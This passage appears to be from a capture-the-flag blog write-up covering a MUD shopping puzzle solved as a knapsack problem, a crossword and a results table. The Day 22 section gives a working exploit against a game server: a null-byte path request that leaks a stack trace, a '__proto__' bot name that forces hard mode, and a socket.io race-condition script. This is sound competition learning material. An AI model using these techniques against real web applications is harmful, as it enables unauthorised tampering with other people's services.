|====5/-=THIS=IS=THE=HIDLEN�MESSA�E|THIS= S=DHE=HIDDEN=MESSAGE5//====}|
The flag thus being euphonia.
Day 19: Substitute Santa
Another MUD challenge. We are given the host mud.djul.se and port 7270.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
::::::::: ::::::::::: ::: ::: ::: :::: :::: ::: ::: :::::::::
:+: :+: :+: :+: :+: :+: +:+:+: :+:+:+ :+: :+: :+: :+:
+:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+:+ +:+ +:+ +:+ +:+ +:+
+#+ +:+ +#+ +#+ +:+ +#+ +#+ +:+ +#+ +#+ +:+ +#+ +:+
+#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+
#+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+#
######### ##### ######## ########## ### ### ######## ######### ₂.₀
Mysterious voice: What is your name?
>pk
Welcome pk! Use `help` for a list of commands.
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
X XXX X
X X X X
X X X X
X XXXXXXXXX X
X X Timmy X X
X X X XXXXXXXXXXXXXXX X
X X X X School XXXXXX X
X XXXXXXXXX X X X X
X X X X X
X XXXXXXX XXXXXXXXXXXXXXXXXXXX X
X XXXXXXXXXXXXXXXXX XXX▒▒▒▒▒▒▒XXX XXXXXXXXXXXXXXXX X
X X $ Store $ X X▒▒▒▒▒XXX▒▒▒▒▒X X Library X X
X X X X▒▒▒▒X X▒▒▒▒X X X X
X X X X▒▒▒▒▒XXX▒▒▒▒▒X X X X
X XXXXXXXXXXXXXXXXX XXX▒▒▒▒▒▒▒XXX XXXXXXXXXXXXXXXX X
X X XXXXXXX X X X
X XX X XXX X X XXX X X
X XXXXXXXXXXXXXXX X X XX XX XX XX XX X XX X
X X Alley XX X X XXXXXXXXXXXXXXXXXX X X
X XXXXXXXXXXXXXXXXX X X Carnival X X X
X X X X X X
X X XXXXXXXXXXXXXXXXXX X X
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Current location: roundabout
Interacting with None
Inventory: []
Remaining money: $100
help
Available commands:
togglechat (join/leave chat room)
say <msg> (send a message in the chat room)
info (show your current location, inventory, and remaining money)
map (show the map)
go <location> (go to a specific location)
interact <target> (interact with the target)
combine <item1> <+> <item2> <...> (combine items (seperate items with a +))
use <item> (use the item (location and interaction specific))
buy <item> (buy the specified item (location and interaction specific))
restart (Restart *entire* game)
We are placed on a roundabout with several locations to go to. We can navigate the MUD using the go <location> command.
The description of today’s challenge gives some hints (emphasis mine):
“But I got a hundred bucks, so I guess we’ll ask Timmy what he wants and try to optimize the usage of them. We’ll figure out some good heuristics and go from there. There should be plenty of people in this town that can help us with getting some good gifts for the kid!”
If we go to Timmy and interact Timmy, we see:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
go timmy
Arrived at Timmy's house!
Interactable:
Timmy
interact timmy
Interaction options:
1: Ask what Timmy wants for Christmas
2: Deliver your presents to Timmy
1
This is my wishlist, ordered by how much i want each item
snowball machine : 30
snowmobile : 30
santa poster : 25
ice skates : 20
booster pack : 10
sticker (red): 2
sticker (plain): 1
We see that Timmy has a wishlist with prices. We can look how to obtain these items by exploring the MUD.
Given the word heuristics, we can guess that this is a knapsack problem, where we want to maximize the value of items we can buy with a limited budget ($100).
For each area, I’ve explored the interactions and noted down the items we can get and their prices.
- School
- A free snowball machine can be obtained by using an
EMPto disbale the CCTV.
- A free snowball machine can be obtained by using an
- Store
- snowmobile : $60
- snowball machine : $50
- santa poster : $35
- skates : $35
- booster pack : $35
- sticker (red) : $30
- sticker (plain) : $15
- red marker : $10 (usable on stickers and a monochrome poster after printing)
- herring : $0
- Alley
- emp : $40
- jolly usb-stick : $25
- counter-rigging machine : $35
- crimson carp : $0
- Carnival
- Spint he wheel : $10
- Always gives a sticker (plain) unless the counter-rigging machine is used.
- Spint he wheel : $10
- Library
- print a poster for 5 using the jolly usb-stick, costing \(5 + 25 = 30\) total, saving $5 compared to buying it in the store.
- interact with a carnival nerd, giving us a free booster pack if we have one red sticker $10.
Starting with $100, the best strategy seemed to be as follows
Steps + Cost mutations
\[\begin{aligned} 100 &-\, 40 \ (\text{emp from alley}) \\ &-\, 25 \ (\text{jolly usb-stick from alley}) \\ &-\, 10 \ (\text{red marker from store}) \\ &-\, 5 \ (\text{printing monochrome santa poster at library}) \\ &-\, 0 \ (\text{using red marker on the monochrome santa poster}) \\ &-\, 0 \ (\text{free snowball machine from school after disabling CCTV}) \\ &-\, 10 \ (\text{spinning the wheel at carnival to get plain sticker}) \\ &-\, 0 \ (\text{using red marker on plain sticker to get red sticker}) \\ &-\, 0 \ (\text{giving red sticker to nerd at library to get booster pack from carnival}) \\ &-\, 10 \ (\text{spinning the wheel at carnival to get plain sticker}) \\ &-\, 0 \ (\text{using red marker on plain sticker to get red sticker}) \\ \hline &= 0 \end{aligned}\]Points
\[\begin{aligned} 0 &+\, 30 \ (\text{snowball machine from school}) \\ &+\, 25 \ (\text{santa poster from library after printing and coloring with red marker}) \\ &+\, 10 \ (\text{booster pack from carnival after giving red sticker created with red marker to nerd}) \\ &+\, 2 \ (\text{red sticker from carnival after using red marker}) \\ \hline &= 67 \ \text{total points} \end{aligned}\]1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
go timmy
Arrived at Timmy's house!
Interactable:
Timmy
interact timmy
Interaction options:
1: Ask what Timmy wants for Christmas
2: Deliver your presents to Timmy
2
Thank you for the gifts, it's exactly what i wanted!
/$$$$$$ /$$
/$$__ $$ |__/
| $$ \__//$$ /$$ /$$$$$$ /$$$$$$ /$$$$$$$ /$$ /$$$$$$ /$$ /$$ /$$$$$$$
| $$$$ | $$ | $$ /$$__ $$ |____ $$ /$$_____/| $$ /$$__ $$| $$ | $$ /$$_____/
| $$_/ | $$ | $$| $$ \ $$ /$$$$$$$| $$ | $$| $$ \ $$| $$ | $$| $$$$$$
| $$ | $$ | $$| $$ | $$ /$$__ $$| $$ | $$| $$ | $$| $$ | $$ \____ $$
| $$ | $$$$$$/| $$$$$$$| $$$$$$$| $$$$$$$| $$| $$$$$$/| $$$$$$/ /$$$$$$$/
|__/ \______/ \____ $$ \_______/ \_______/|__/ \______/ \______/ |_______/
/$$ \ $$
| $$$$$$/
\______/
The flag thus being fugacious.
Bug
There was also a bug in the MUD where you could get a lot of boosterpacks if you left and re-entered the library after giving the red sticker to the nerd. This allowed yo to get more points than intended. However, the intended solution still gives the correct flag.
Day 22: On victory, emit gg
We are given a website, http://clash.djul.se:2167/, where you can play a clone of Clash Royale against an AI. You can either host a game or join a game.
We are given some hints as to what our objective is
You didn’t hear it from me, but this game has bots that you can play against. Figure out how to make such a game happen, and we’ll award you points based on how difficult of a bot you beat, sounds good?” “Great!” dAnkan responds before doing some quick feather-math. “We need a lot of points though. It’s the extreme level or nothing for us.” “EXTREME?” you ask worriedly. “That sounds pretty spooky, boss. You sure we can handle that?” “I’m sure we can fake it at least,” says dAnkan with a smirk after the arena manager has left earshot. “Just make the system believe we are playing against the extreme bot and then we’ll get all the points we need. Let something else take its place.”
To figure out how we start a bot game, we first inspect the source code of the website.
The javascript for the game is loaded in through http://clash.djul.se:2167/public?path=client.js
Link to the full Javascript client file.
The code itself is quite large, but we can learn a lot from it.
- It is built using socket.io for real-time communication with the server.
- The client code mostly handles rendering the game state, user interactions, and sending commands to the server.
- assets for sprites are loaded via the same
/public?path=endpoint (e.g.,/public?path=entities/knight_blue.png).
After some trial-and-error, I’ve found that you can force an error with http://clash.djul.se:2167/public?path=%00, giving the following response:
1
2
3
4
5
6
7
8
9
10
11
TypeError [ERR_INVALID_ARG_VALUE]: The argument 'path' must be a string, Uint8Array, or URL without null bytes. Received '/clashroyaleapp/public/\x00'
at Object.access (node:fs:225:10)
at /clashroyaleapp/index.js:589:6
at Layer.handleRequest (/clashroyaleapp/node_modules/router/lib/layer.js:152:17)
at next (/clashroyaleapp/node_modules/router/lib/route.js:157:13)
at Route.dispatch (/clashroyaleapp/node_modules/router/lib/route.js:117:3)
at handle (/clashroyaleapp/node_modules/router/index.js:435:11)
at Layer.handleRequest (/clashroyaleapp/node_modules/router/lib/layer.js:152:17)
at /clashroyaleapp/node_modules/router/index.js:295:15
at processParams (/clashroyaleapp/node_modules/router/index.js:582:12)
at next (/clashroyaleapp/node_modules/router/index.js:291:5)
This reveals the file path of the server code: /clashroyaleapp/index.js.
With access to the server code, we can look for how bot games are started. Searching for “bot” in the code, we find the following snippet:
Link to the full Javascript server file.
Objective: We need to beat the game’s bot on “Extreme” difficulty to get the flag. However, the game is rigged against us, so we must exploit the server logic to force an “Extreme” match while simultaneously disabling the AI so we can actually win.
Lets address this in three separate steps.
Step 1: Understanding bot game initialization
Finding the conditions to start a bot game
Reviewing index.js, I’ve found that the game state is managed by a global loop running every 100ms. This loop checks lobbies and attempts to start them using tryStartLobby.
Crucially, there is a logic flaw in how the bot logic is activated versus how the game is started.
- Game Start Condition: The game starts if there is more than one player.
1 2 3 4
function tryStartLobby(lobby) { const players = getLobbyPlayers(lobby); if (players.length === 1) return false; // Needs at least 2 entities // ... sets lobby.started = true ...
- The
host-gameevent.1 2 3 4 5 6 7 8 9 10 11 12 13
const bots = { alice: { mode: "easy" }, bob: { mode: "medium" }, eve: { mode: "hard" }, // santa: { mode: "extreme" } // Disabled }; socket.on("host-game", (payload) => { // ... if (payload && payload.botName && payload.botName in bots) { // ... sets up bot ... } });
- Bot Activation Condition: The AI only turns on if there are exactly 2 players (The Host + The Bot).
1 2 3 4 5
if (lobby.bot && players.length === 2) { startBotLoop(lobby); } return true; }
Thus, we can play a game against Alice by simply emitting
1
socket.emit("host-game", { botName: "alice" });
This works, but we need “Extreme”.
This creates a lobby with the host on blue and Alice on red, starting the bot game immediately.
Step 2: Forcing “Extreme” Mode
The “santa” bot is commented out, so we can’t request it by name. However, look closely at how the difficulty is determined:
1
2
3
4
5
// 1. Check if the name exists in 'bots'
if (payload && payload.botName && payload.botName in bots) {
// 2. Access the mode. If undefined, default to "extreme"
botMode = bots[payload.botName].mode || "extreme";
}
Thus, if we emit
1
socket.emit("host-game", { botName: "__proto__" });
we get an “Extreme” bot game. It is, however, impossible to beat. How can we beat it?
Step 3: Lobotomizing the Bot (Race condition)
To stop the bot from playing cards, we need to abuse a discrepancy in the server’s “Game Loop” vs. the “Bot Loop”.
The server checks the state of the lobby every 100ms (1 Tick).
- Game Start Check: The game begins if there is more than 1 player.
1 2 3
// Inside tryStartLobby if (players.length === 1) return false; // Waiting for opponent // ... Game Starts ...
- The bot logic only activates if there are exactly 2 players.
1 2 3 4
// Inside tryStartLobby if (lobby.bot && players.length === 2) { startBotLoop(lobby); // <-- we want to prevent this }
- If we can add a third player (a “Smurf” account) to the lobby after creation but before the server processes the first tick, the players.length will be 3.
- Game Start: 3 !== 1 –> TRUE (Game starts).
- Bot Start: 3 === 2 –> FALSE (Bot stays offline).
The bot will exist in the game (Red Team), but its brain (startBotLoop) will never activate.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
(async () => {
// 1. Prepare the Smurf client
const smurf = io({ transports: ["websocket"] });
await new Promise((resolve) => smurf.on("connect", resolve));
console.log("Smurf connected.");
// 2. Listen for lobby creation
socket.once("lobby-created", ({ code }) => {
console.log(`Lobby ${code} created. Injecting Smurf...`);
// 3. RACE CONDITION
// Join immediately. If this happens before the 100ms server tick,
// Player Count becomes 3 (Host + Bot + Smurf).
// This satisfies "Game Start" but fails "Bot Start".
smurf.emit("join-game", { code });
});
socket.on("game-over", (payload) => {
if (payload.secretWord) {
console.log("VICTORY! Flag:", payload.secretWord);
} else {
console.log("Game over. Bot mode was not Extreme?");
}
});
// 4. Trigger the exploit
console.log("Hosting with __proto__...");
socket.emit("host-game", { botName: "__proto__" });
})();
The most crucial part: Your own ping must be low enough to ensure the Smurf joins before the server tick processes the lobby (within 100ms).
Running this script, we get a game against a non-responsive Extreme bot, allowing us to win easily and obtain the flag.
The flag thus being iskender.
Day 23: You run what I tell you to run!
I don’t have a clean, write-up ready solution for this one. The terminal log and amount of Copy+Pastes was too long. I thus wanted to revisit it for the write-up, but the challenge was taken offline relatively fast.
Day 24: The Tell-Tale Crumb
On the day of christmas eve. This challenge will not count towards the overall scoreboard. We are given a crossword puzzle to solve.
Crossword
Solution
The flag thus being impostor.
Completion times
| # | Solved at | Weighted | Unweighted |
|---|---|---|---|
| -1 | 18/11 23:26:50 | 0 | 0 |
| 1 | 1/12 12:17:21 | 0 | 0 |
| 2 | 2/12 13:00:45 | 2 | 2 |
| 3 | 3/12 12:21:31 | 0 | 0 |
| 4 | 4/12 14:43:12 | 3 | 3 |
| 5 | 5/12 16:14:49 | 0 | 0 |
| 8 | 8/12 12:24:40 | 0 | 0 |
| 9 | 9/12 13:10:46 | 2 | 4 |
| 10 | 10/12 13:11:46 | 2 | 4 |
| 11 | 11/12 12:30:54 | 1 | 2 |
| 12 | 12/12 12:45:22 | 1 | 2 |
| 14 | 14/12 23:57:26 | 0 | 0 |
| 15 | 15/12 12:36:12 | 1 | 2 |
| 16 | 16/12 13:15:37 | 2 | 4 |
| 17 | 17/12 12:41:46 | 1 | 3 |
| 18 | 18/12 15:38:08 | 3 | 9 |
| 19 | 19/12 13:00:56 | 2 | 6 |
| 22 | 22/12 13:29:12 | 2 | 6 |
| 23 | 23/12 19:37:16 | 4 | 12 |
| 24 | 24/12 14:13:28 | 0 | 0 |
| Final | Rank 6 | 59 | 26 |

































